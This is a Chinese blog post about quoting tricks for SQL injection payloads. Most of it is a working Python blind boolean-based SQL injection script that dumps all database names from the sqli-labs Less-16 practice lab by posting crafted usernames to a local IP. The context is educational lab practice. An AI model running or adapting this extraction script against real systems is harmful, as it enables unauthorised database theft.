有点搞笑,因为这个点是看php代码学到的。很简单,为啥我自己想不到咧。。

先来看提供灵感的php代码:

比如sqli-labs的Less14,源代码中首先采用字符串拼接的方法给用户输入的参数两侧增加了双引号,并赋值给变量(下图57,58行),然后把这个变量放在双引号括起来的sql语句中(59句)。

python有点不一样,不过大体思路差不多。以sqli-labs的Less16中获取系统所有数据库名的函数为例,这关的闭合是"),payload1的值也是用双引号闭合的,因此先将字符串ele")设置为变量ele,然后再在payload1中用加号和其他部分拼接。

#!/usr/bin/python3
# coding=utf-8"""
functions for boolean-based sql injection(GET):copyright: Copyright (c) 2021, Fancy Xiang. All rights reserved.
:license: GNU General Public License v3.0, see LICENSE for more details.
"""import requestsurl = "http://192.168.101.16/sqli-labs-master/Less-16/"               #有可利用漏洞的url,根据实际情况填写
headers={ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36",}    #http request报文头部,根据实际情况填写keylist = [chr(i) for i in range(33, 127)]                                     #包括数字、大小写字母、可见特殊字符
flag = 'flag.jpg'                                        #用于判断附加sql语句为真的字符,根据网页回显填写
ele = 'ele")'def Databases16():n = 100                                                                      #预测当前数据库名称最大可能的长度,根据实际情况填写k = 0j = n//2 length = 0db = str()while True:if j>k and j<n and j-k>3:payload1 = ele+" or (length((select group_concat(schema_name) from information_schema.schemata)))>"+str(j)+"-- ss"           #所有payload根据实际情况填写param = {"uname":payload1,"passwd":"pass","submit":"Submit",}response = requests.post(url, data = param, headers = headers)     #GET方法发送含payload的request#print(response.request.headers)#print(response.text)if response.text.find(flag) != -1:n=nk=jelse:k=kn=jj=(n-k)//2elif j-k==3 or j-k<3:for i in range(k-1,n+2):payload2 = ele+" or (length((select group_concat(schema_name) from information_schema.schemata)))="+str(i)+"-- ss"param = {"uname":payload2,"passwd":"pass","submit":"Submit",}response = requests.post(url, data = param, headers = headers)if response.text.find(flag) != -1:length = ibreakbreakelse:breakprint("the name of current database contains "+str(length)+" characters")for i in range(1,length+1):for c in keylist:payload3 = ele+" or substring((select group_concat(schema_name) from information_schema.schemata),"+str(i)+",1)='"+c+"'-- ss"param = {"uname":payload3,"passwd":"pass","submit":"Submit",}response = requests.post(url, data = param, headers = headers)if response.text.find(flag) != -1:db = db+cbreakprint("the name of databases are "+str(db))

python 字符串 双引号中包含双引号相关推荐

  1. c字符串中包含双引号_码哥学Python,一起解密神秘的字符串密码

    哈喽,大家好,又到了晚上学习Python的时间了,想学习python的同学可以一起哦. 字符串 由0个或多个字符组成的有序字符序列,Python中的字符串用单引号 ' 或双引号 " 括起来, ...

  2. c字符串中包含双引号_零基础学Python:一文看懂数字和字符串

    来源:大数据DT 本文约2000字,建议阅读6分钟 数据类型是构成编程语言语法的基础.[ 导读 ]数据类型是构成编程语言语法的基础.不同的编程语言有不同的数据类型,但都具有常用的几种数据类型.Pyth ...

  3. VB字符串中包含双引号处理

    字符串中包含双引号  在字符串处理时,如果字符串变量必须有引号,怎么处理呢?如  theStr = [MyName ="schunter"Class ="2"] ...

  4. 下列关于python运算符的使用描述正确的是_以下关于 Python 字符串的描述中,正确的是( )...

    [单选题]3*1**3 表达式输出结果为________ [多选题]以下的布尔代数运算正确的是( ) [单选题]下列________不是Python的数据类型. [单选题]下列不是Python语言关键 ...

  5. Oracle字符串里有单引号,oracle字符串中包含单引号

    1.关于在字符串中包含单引号    字符串是引用字符串的,如果字符串本身就包含单引号怎么办? 用2个单引号表示或者以q或Q开头,然后后面是字符串,字符串的第1个字符和最后结束的字符是分割符号,中间的引 ...

  6. Python字符串详解(包含长字符串和原始字符串)

    若干个字符的集合就是一个字符串(String).Python 中的字符串必须由双引号" "或者单引号' '包围,具体格式为: "字符串内容" '字符串内容' 字 ...

  7. python字符串添加元素_python 中字符串处理

    在python 2或者3 ,字符串编码只有两类 : (1)通用的Unicode编码: (2)将Unicode转化为某种类型的编码,如UTF-8,GBK: 计算机只处理数字,因此处理文本时,必须转换成数 ...

  8. Python字符串和正则表达式中的反斜杠(‘\‘)问题

    在Python普通字符串中 在Python中,我们用''来转义某些普通字符,使其成为特殊字符,比如 In [1]: print('abc\ndef') # '\n'具有换行的作用 abc defgIn ...

  9. Python检查Word文件中包含特定关键字的所有页码

    推荐教材:<Python程序设计基础与应用>(ISBN:9787111606178),董付国,机械工业出版社 图书详情: 配套资源: 用书教师可以联系董老师获取教学大纲.课件.源码.教案. ...

最新文章

  1. Cornell University Designing with Microcontrollers
  2. lucene实战--打分算法没有那么难!
  3. 【数据结构与算法】之深入解析“恢复二叉搜索树”的求解思路与算法示例
  4. linux 命令 语法,linux常用命令及语法
  5. table表格的增删查改、图片的处理、数据的导入导出
  6. python开发爬虫-Python3 Scrapy 安装方法 (一脸辛酸泪)
  7. 安捷伦$8000万投资下一代测序公司
  8. 券商交易模式下的单产品多券商方案
  9. imx6ull linux bluetooth移植
  10. 移动硬盘安装Linux ubuntu20.04.1LTS,分区详细介绍
  11. Brand.com 总统迈克·扎姆托说,勒索企图的受害者
  12. 高考试题管理系统出题模块——C语言课程设计
  13. Mysql工作原理介绍
  14. 传美云商系统软件方案详解
  15. 微信订阅消息推送(记录)
  16. 网友戏说电影公司片头动画
  17. vue中的@keyup事件
  18. C++之命令(Command)模式
  19. 移动端对比后端逐渐“式微”?在互联网大环境下如何避免久当生锈的”螺丝钉”去成为一个优秀的Android开发者?
  20. 紧随大厂脚步入局海外3A,米哈游造出下一个“原神”难?

热门文章

  1. java集合框架介绍(转)
  2. 谷歌浏览器(chrome)input标签自动填充数据的问题(已解决)
  3. 堆的相关操作(创建堆、插入、删除、堆排序、top-k问题)
  4. 教你如何获取目标计算机的IP地址
  5. VS2019 VS2017 指定的任务可执行文件“cmd.exe”未能运行。函数不正确。解决方案
  6. JAVA抖音 WSS弹幕
  7. svn报错:另一个程序正在使用此文件
  8. 【ART-PI】STM32H750XBH6 - RT-Thread 开启RTC 与 Alarm组件
  9. 浅析平衡二叉树的四种旋转
  10. linux没有可用的缓冲区空间,beagleboneblack